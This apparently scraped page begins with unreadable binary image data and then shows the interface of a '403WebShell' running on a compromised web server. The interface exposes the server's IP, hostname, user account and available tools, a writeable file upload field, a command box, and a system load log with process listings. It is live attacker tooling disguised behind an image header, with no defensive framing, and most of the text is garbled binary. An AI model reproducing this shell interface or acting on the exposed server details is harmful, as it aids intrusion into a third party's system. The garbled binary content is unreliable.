JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/log/loadwatch/2025-11-20.23.30.txt
 ## swap threshold exceeded
## server overview
2025-11-20.23.30 load[0] mem[59/82] mysql[3/10] httpd[28]
              total        used        free      shared  buff/cache   available
Mem:           2363        1303         119          89         941         793
Swap:          1999        1741         258
 23:30:01 up 13:49,  0 users,  load average: 0.17, 0.31, 0.32
## system overview
top - 23:30:01 up 13:49,  0 users,  load average: 0.17, 0.31, 0.32
Tasks: 247 total,   7 running, 239 sleeping,   0 stopped,   1 zombie
%Cpu(s): 87.1 us, 12.9 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,   117340 free,  1339020 used,   963940 buff/cache
KiB Swap:  2047996 total,   264676 free,  1783320 used.   807584 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1793 mysql     20   0 1465500 272472   3252 S 146.7 11.3  11:38.61 /usr/sbin+
 51572 nigeria   20   0  404052  16136  10384 S  20.0  0.7   0:00.05 /opt/cpan+
 42480 nobody    20   0  277760  18852   4340 S   6.7  0.8   0:00.47 /usr/sbin+
 51335 cloudw    20   0  366248  16792  10940 S   6.7  0.7   0:00.13 /opt/cpan+
 51576 root      20   0  160224   2392   1632 S   6.7  0.1   0:00.01 top -n 2 +
 51617 cloudw    20   0  353712  15976  10492 R   6.7  0.7   0:00.01 /opt/cpan+
     1 root      20   0   44268   3296   1484 S   0.0  0.1   1:11.37 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 R   0.0  0.0   0:02.77 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:02.40 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   1:07.69 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.13 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.12 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:02.30 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:09.45 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:32.51 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.09 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   105 root      20   0       0      0      0 S   0.0  0.0   0:01.18 [kauditd]
   243 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   247 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   249 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   250 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   255 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   261 root       0 -20       0      0      0 S   0.0  0.0   0:03.44 [kworker/+
   266 root       0 -20       0      0      0 S   0.0  0.0   0:04.00 [kworker/+
   276 root      20   0       0      0      0 S   0.0  0.0   0:02.81 [jbd2/vda+
   277 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   358 root      20   0   40244   1796   1556 S   0.0  0.1   0:28.71 /usr/lib/+
   387 root      20   0   45352    252    248 S   0.0  0.0   0:00.38 /usr/lib/+
   410 root      16  -4   55532    512    384 S   0.0  0.0   0:04.84 /sbin/aud+
   415 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   417 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   470 root      20   0   24712   1164    836 S   0.0  0.0   0:11.86 /usr/lib/+
   471 root      20   0   52852    388    284 S   0.0  0.0   0:00.01 /usr/sbin+
   474 dbus      20   0   58644   1384    680 S   0.0  0.1   0:27.11 /usr/bin/+
   476 rpc       20   0   69256    192    132 S   0.0  0.0   0:00.04 /sbin/rpc+
   486 polkitd   20   0  612240    820    452 S   0.0  0.0   0:07.09 /usr/lib/+
   487 root      20   0   21540    408    320 S   0.0  0.0   0:01.07 /usr/sbin+
   492 root      20   0  152780    248    204 S   0.0  0.0   0:00.07 /usr/sbin+
   493 root      20   0  224280   4448   1068 S   0.0  0.2   0:00.65 queueproc+
   507 nscd      20   0  994492   1404    720 S   0.0  0.1   0:40.75 /usr/sbin+
   515 root      20   0  195208     68     68 S   0.0  0.0   0:00.00 /usr/sbin+
   516 root      20   0    4388    156    152 S   0.0  0.0   0:00.00 /usr/sbin+
   543 root      20   0   24208     24      0 S   0.0  0.0   0:00.00 /usr/sbin+
   545 root      20   0  124480    520    388 S   0.0  0.0   0:01.45 /usr/sbin+
   562 root      20   0  108296    180    176 S   0.0  0.0   0:00.00 /sbin/age+
   563 root      20   0  114704    180    180 S   0.0  0.0   0:00.02 /bin/bash
   613 mailnull  20   0   89116   3832    900 S   0.0  0.2   0:01.33 /usr/sbin+
   632 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   675 root       0 -20       0      0      0 S   0.0  0.0   0:03.01 [loop0]
   735 root      20   0       0      0      0 S   0.0  0.0   0:00.16 [jbd2/loo+
   736 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   931 root      20   0  153404    400    316 S   0.0  0.0   0:01.09 pure-ftpd+
   932 root      20   0  572372   1008    468 S   0.0  0.0   0:04.23 /usr/bin/+
   933 systuser  20   0  112268     56      0 S   0.0  0.0   0:00.02 /usr/loca+
   935 systuser  20   0  114016  15112   2668 S   0.0  0.6   0:11.84 /usr/loca+
   936 root      20   0 1277056   6144    164 S   0.0  0.3   0:21.27 /usr/bin/+
   937 root      20   0  445028   1380   1268 S   0.0  0.1   0:01.84 sw-engine+
   938 systuser  20   0   11796     40      0 S   0.0  0.0   0:00.03 /usr/loca+
   939 systuser  20   0  111608     60      0 S   0.0  0.0   0:00.02 /usr/loca+
   942 root      20   0  111304    544    436 S   0.0  0.0   0:06.88 /usr/sbin+
   943 systuser  20   0   11348     24      0 S   0.0  0.0   0:00.02 /usr/loca+
   944 root      20   0 1350088   8612    132 S   0.0  0.4   0:28.52 /usr/bin/+
   945 root      20   0   51508    708    532 S   0.0  0.0   0:00.65 /usr/sbin+
   946 telegraf  20   0 5654304  36428   6048 S   0.0  1.5   0:26.79 /usr/loca+
   947 memcach+  20   0  342400    232    232 S   0.0  0.0   0:01.09 /usr/bin/+
   948 root      20   0 1763312  82704    500 S   0.0  3.4   0:15.50 /usr/loca+
   949 root      20   0  389508    596    508 S   0.0  0.0   0:01.34 php-fpm: +
   950 root      20   0  261164   9372   3904 S   0.0  0.4   0:08.80 cpsrvd (S+
   953 root      20   0  388892    708    616 S   0.0  0.0   0:01.16 php-fpm: +
   958 root      20   0  331088   3024   1992 S   0.0  0.1   0:14.69 /usr/sbin+
   986 root      20   0  396248    624    532 S   0.0  0.0   0:01.22 php-fpm: +
   990 root      20   0  439788    792    700 S   0.0  0.0   0:01.38 php-fpm: +
   994 root      20   0  400740   3060    720 S   0.0  0.1   0:07.40 php-fpm: +
   996 named     20   0 1186868  38828   1860 S   0.0  1.6   0:28.76 /usr/sbin+
  1013 cpanelc+  20   0   10656   3856   2436 R   0.0  0.2   0:39.86 /usr/loca+
  1093 dovenull  20   0   47520   2628   1844 S   0.0  0.1   0:01.11 dovecot/p+
  1094 dovenull  20   0   48600   3100   1784 S   0.0  0.1   0:00.87 dovecot/i+
  1095 dovecot   20   0   10320    520    404 S   0.0  0.0   0:00.22 dovecot/a+
  1096 root      20   0   10452    456    280 S   0.0  0.0   0:00.65 dovecot/l+
  1097 dovenull  20   0   47444   2764   1920 S   0.0  0.1   0:00.82 dovecot/p+
  1098 dovenull  20   0   48648   3256   1996 S   0.0  0.1   0:00.82 dovecot/i+
  1104 root      20   0   24528   2076    548 S   0.0  0.1   0:00.34 dovecot/c+
  1110 dovecot   20   0   13568    728    456 S   0.0  0.0   0:00.14 dovecot/s+
  1145 systuser  20   0  157704   2992   1008 S   0.0  0.1   0:00.23 SonarPush+
  1170 dovecot   20   0   41324   1676   1052 S   0.0  0.1   0:01.65 dovecot/a+
  1175 wp-tool+  20   0  412368   9704   1620 S   0.0  0.4   0:15.55 /usr/bin/+
  1176 wp-tool+  20   0  387528   3464   1560 S   0.0  0.1   0:00.45 /usr/bin/+
  1234 root      20   0  167452   1320    776 S   0.0  0.1   0:00.70 dnsadmin +
  1235 root      20   0  262224  24296   6376 S   0.0  1.0   0:05.14 cpdavd - +
  1237 root      20   0  209500  10392   2292 S   0.0  0.4   0:05.69 tailwatchd
  1669 root      20   0  299272    604    440 S   0.0  0.0   0:01.33 php-fpm: +
  1701 root      38  18  130416   1404    728 S   0.0  0.1   0:00.12 cpanellog+
  1959 root      20   0  266992   7380    740 S   0.0  0.3   0:04.65 /usr/sbin+
  1962 root      20   0   12804    452    296 S   0.0  0.0   0:05.85 /usr/loca+
  1963 root      20   0   12732    368    292 S   0.0  0.0   0:05.04 /usr/loca+
  1964 root      20   0   12844    472    296 S   0.0  0.0   0:05.44 /usr/loca+
  1968 root      20   0   53340    216    216 S   0.0  0.0   0:00.05 /usr/loca+
  2014 root      20   0  187456  14996   1168 S   0.0  0.6   0:45.00 lfd - sle+
 11054 nobody    20   0  277760  19532   4692 S   0.0  0.8   0:02.08 /usr/sbin+
 18294 oysipao+  20   0    3148      8      0 S   0.0  0.0   0:00.00 [kworker]
 18303 oysipao+  20   0    3152     36      0 S   0.0  0.0   0:00.88 [kworker]
 18801 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [kworker/+
 23142 root      20   0       0      0      0 S   0.0  0.0   0:00.06 [kworker/+
 23959 root      20   0       0      0      0 S   0.0  0.0   0:00.08 [kworker/+
 23963 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
 25268 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [kworker/+
 31273 nobody    20   0  277696  20136   4948 S   0.0  0.8   0:01.70 /usr/sbin+
 32976 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
 33964 nobody    20   0  277760  20124   4836 S   0.0  0.8   0:00.92 /usr/sbin+
 34673 nobody    20   0  277892  19464   4576 S   0.0  0.8   0:01.16 /usr/sbin+
 34688 nobody    20   0  277760  19212   4572 S   0.0  0.8   0:01.39 /usr/sbin+
